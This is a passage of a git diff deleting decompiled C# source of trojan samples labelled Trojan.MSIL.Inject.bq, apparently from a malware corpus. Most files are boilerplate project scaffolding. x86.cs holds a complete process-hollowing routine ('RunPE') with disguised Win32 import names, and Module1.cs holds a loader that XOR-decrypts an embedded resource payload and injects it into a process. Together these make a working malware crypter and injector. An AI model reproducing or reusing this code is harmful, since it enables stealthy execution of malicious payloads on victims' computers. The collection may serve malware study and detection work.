- {DB0F9657-D1CA-4DA3-A976-572DE02B9852} - WinExe - Cursor - v4.0 - - 1.0.0.0 - 512 - Cursor - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.sln deleted file mode 100644 index 29f65d2c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 11.00 -# Visual Studio 2010 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.csproj", "{DB0F9657-D1CA-4DA3-A976-572DE02B9852}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {DB0F9657-D1CA-4DA3-A976-572DE02B9852}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {DB0F9657-D1CA-4DA3-A976-572DE02B9852}.Debug|Any CPU.Build.0 = Debug|Any CPU - {DB0F9657-D1CA-4DA3-A976-572DE02B9852}.Release|Any CPU.ActiveCfg = Release|Any CPU - {DB0F9657-D1CA-4DA3-A976-572DE02B9852}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/x86.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/x86.cs deleted file mode 100644 index c8061a2b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/x86.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.x86 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EF23CDDD-6C00-4B88-ACE0-9F7817FD7B65 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Security; -using System.Text; - -namespace Cursor -{ - public class x86 - { - private static readonly int[] prot = new int[8] - { - 1, - 16, - 2, - 32, - 4, - 64, - 4, - 64 - }; - - [DebuggerNonUserCode] - public x86() - { - } - - public static void RunPE(byte[] bytes, string surrogateProcess) - { - int int32 = BitConverter.ToInt32(bytes, 60); - int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6)); - IntPtr size1 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84))); - byte[] sInfo = new byte[68]; - IntPtr[] pInfo = new IntPtr[4]; - IntPtr num1; - if (!x86.Win32.Inventiondumem((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo)) - return; - uint[] ctxt = new uint[179]; - ctxt[0] = 65538U; - IntPtr bufr; - IntPtr numRead; - if (x86.Win32.f564gs(pInfo[1], ctxt) && x86.Win32.fzezf(pInfo[0], new IntPtr(checked ((long) ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.f564gsf(pInfo[0], bufr) == 0U) - { - IntPtr hProc1 = pInfo[0]; - IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52))); - IntPtr addr1 = num2; - IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80))); - IntPtr size2 = num3; - IntPtr baseAddr1 = x86.Win32.tobe(hProc1, addr1, size2, 12288, 64); - bool flag = x86.Win32.hhh(pInfo[0], baseAddr1, bytes, size1, ref numRead); - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst1 = new int[10]; - Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40); - byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)]; - Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length); - IntPtr hProc2 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr baseAddr2 = num3; - byte[] buff = dst2; - num2 = new IntPtr(dst2.Length); - IntPtr size3 = num2; - ref IntPtr local1 = ref numRead; - flag = x86.Win32.hhh(hProc2, baseAddr2, buff, size3, ref local1); - IntPtr hProc3 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr addr2 = num3; - num2 = new IntPtr(dst1[2]); - IntPtr size4 = num2; - int newProt = x86.prot[dst1[9] >> 29 & 7]; - int num6; - ref int local2 = ref num6; - flag = x86.Win32.biatch(hProc3, addr2, size4, newProt, ref local2); - checked { ++num5; } - } - IntPtr hProc4 = pInfo[0]; - num3 = new IntPtr(checked ((long) ctxt[41] + 8L)); - IntPtr baseAddr3 = num3; - byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32()); - num2 = new IntPtr(4); - IntPtr size5 = num2; - ref IntPtr local = ref numRead; - flag = x86.Win32.hhh(hProc4, baseAddr3, bytes1, size5, ref local); - ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40))); - x86.Win32.suce(pInfo[1], ctxt); - } - x86.Win32.pute(pInfo[1]); - } - - [SuppressUnmanagedCodeSecurity] - private class Win32 - { - [DebuggerNonUserCode] - public Win32() - { - } - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool Inventiondumem( - string appName, - StringBuilder commandLine, - IntPtr procAttr, - IntPtr thrAttr, - [MarshalAs(UnmanagedType.Bool)] bool inherit, - int creation, - IntPtr env, - string curDir, - byte[] sInfo, - IntPtr[] pInfo); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool f564gs(IntPtr hThr, uint[] ctxt); - - [DllImport("ntdll")] - public static extern uint f564gsf(IntPtr hProc, IntPtr baseAddr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool fzezf( - IntPtr hProc, - IntPtr baseAddr, - ref IntPtr bufr, - IntPtr bufrSize, - ref IntPtr numRead); - - [DllImport("kernel32")] - public static extern int pute(IntPtr hThr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool suce(IntPtr hThr, uint[] ctxt); - - [DllImport("kernel32")] - public static extern IntPtr tobe( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int allocType, - int prot); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool biatch( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int newProt, - ref int oldProt); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool hhh( - IntPtr hProc, - IntPtr baseAddr, - byte[] buff, - IntPtr size, - ref IntPtr numRead); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/AssemblyInfo.cs deleted file mode 100644 index 6b00be35..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyProduct("Cursor")] -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Module1.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Module1.cs deleted file mode 100644 index a15645df..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Module1.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.Module1 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace Cursor -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - [STAThread] - public static void Main() - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); - IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY"); - IntPtr source = Module1.LoadResource(moduleHandle, resource); - int length = Module1.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, numArray, 0, length); - int int32 = BitConverter.ToInt32(numArray, checked (numArray.Length - 4)); - byte[] bytes = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (numArray.Length - 3 + 1)]); - Random random = new Random(int32); - byte[] buffer = new byte[checked (bytes.Length - 1 + 1)]; - random.NextBytes(buffer); - int num = checked (bytes.Length - 1); - int index = 0; - while (index <= num) - { - bytes[index] = (byte) ((int) bytes[index] ^ (int) buffer[index]); - checked { ++index; } - } - x86.RunPE(bytes, Process.GetCurrentProcess().MainModule.FileName); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyApplication.cs deleted file mode 100644 index 06366753..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyApplication -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyComputer.cs deleted file mode 100644 index db026f5f..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyComputer -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyProject.cs deleted file mode 100644 index 51ff591c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyProject -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cursor.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettings.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettings.cs deleted file mode 100644 index acbcc601..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettings -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettingsProperty.cs deleted file mode 100644 index 67e47e6c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettingsProperty -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/Resources/Resources.cs deleted file mode 100644 index 05747352..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.Resources.Resources -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cursor.My.Resources -{ - [HideModuleName] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null)) - Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly); - return Cursor.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cursor.My.Resources.Resources.resourceCulture; - set => Cursor.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Resources.resx b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.csproj deleted file mode 100644 index e49f41ea..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {A5CB47C3-499A-4FEA-80C9-CB34378096CB} - WinExe - Cursor - 1.0.0.0 - Cursor - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.sln deleted file mode 100644 index b79dad0b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.csproj", "{A5CB47C3-499A-4FEA-80C9-CB34378096CB}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - 